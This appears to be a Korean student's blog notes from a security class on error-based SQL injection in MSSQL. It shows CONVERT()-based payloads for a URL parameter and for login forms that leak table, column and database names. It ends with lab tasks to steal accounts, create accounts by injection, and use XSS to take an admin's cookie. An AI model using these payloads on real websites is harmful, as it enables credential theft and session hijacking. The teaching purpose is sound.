convert라는 함수가 있다.
이 함수는 무언가 치환해주는 함수이다.
select * from member
where convert(int , '1')=1
하게 되면 참이기 때문에 모든 것을 출력해준다.
convert함수를 사용해 변경할 수 없는 자료를 의도적으로 넣어서 오류를 뜨게 하고 원하는 정보를 얻는다.
테이블 이름을 조회하기 위해선 이런식으로 어제 배웠던 top명령어를 사용해 출력한다.
하위 쿼리문만 봤을 때 zipcode가 출력되는데이런식으로 작성하게 된다면 board가 출력된다.
조건에 not in이라는 명령어를 쓰고 다음에 빠질꺼를 써주면 board를 제외하고 다음게 나온다.
이걸 웹페이지에서 작성하고싶다.
select top 1 table_name from information_schema.tables order by table_name
이걸 하위 쿼리에 넣어준다. 웹페이지를 앞에 붙여주고
http://192.168.1.20/board/board_view.asp?num=94 and convert(int, (select top 1 table_name from information_schema.tables order by table_name))=1
이런식으로 작성해주면 멤버 테이블에 board가 출력된다.
지금은 board에서 했지만 다른페이지에서도 쿼리문을 작성할 수 있어야한다.
select top 1 column_name
from information_schema.columns
where table_name ='member'
order by column_name
이 쿼리문을 로그인창에서 이제 오류가 뜨게 컬럼을 확인하고싶다.
'or (select top 1 column_name from information_schema.columns where table_name ='member' order by column_name)>1--
어제 했던거를 접목시켜서 이런식으로 작성하게 되면 로그인창에서도 오류를 뜨게하고 컬럼을 확인할 수 있다.
convert를 써서 해보고싶다면 이런식으로 작성하면 똑같이 결과를 얻을 수 있음
'or 1=convert(int, (select top 1 column_name from information_schema.columns where table_name ='member' order by column_name))--
[ 실습 1 ] 웹 사이트(192.168.43.200)의 사용자 계정을 탈취하라.
아마도 where절에는 id='' and pw=''로 들어갈것이다. 라고 가정한다.
where id=''or db_name()>1--' and pw='' 이러한 조건문일 것이고 'or db_name()>1--를 입력하게 된다면 db_name이 camel이라는걸 안다.
이렇게 알게 되었으면 테이블안에 컬럼을 확인해보고 사용자의 정보가 들어있는 컬럼을 확인해서 id와 비밀번호를 파악하면 된다.
[ 실습 2 ] SQL Injection을 활용해 계정을 생성하라.
- 본인이름 이니셜로 생성하시오.
[ 실습 3 ] 생성한 계정으로 게시글을 업로드하라
- 게시 글을 업로드할 때 XSS을 활용한다.
- 게시 글을 관리자가 열람했을 때 관리자의 Cookie 값이 본인에게 전송될 수 있게 작성하시오
실습은 다음시간에 계속
'학원' 카테고리의 다른 글
2023/08/04 프로시저 (0) | 2023.08.04 |
---|---|
2023/08/03 Blind Injection (0) | 2023.08.03 |
2023/07/31 DML (0) | 2023.07.31 |
2023/07/28 메타데이터 (0) | 2023.07.28 |
2023/07/27 SQL Injection (0) | 2023.07.27 |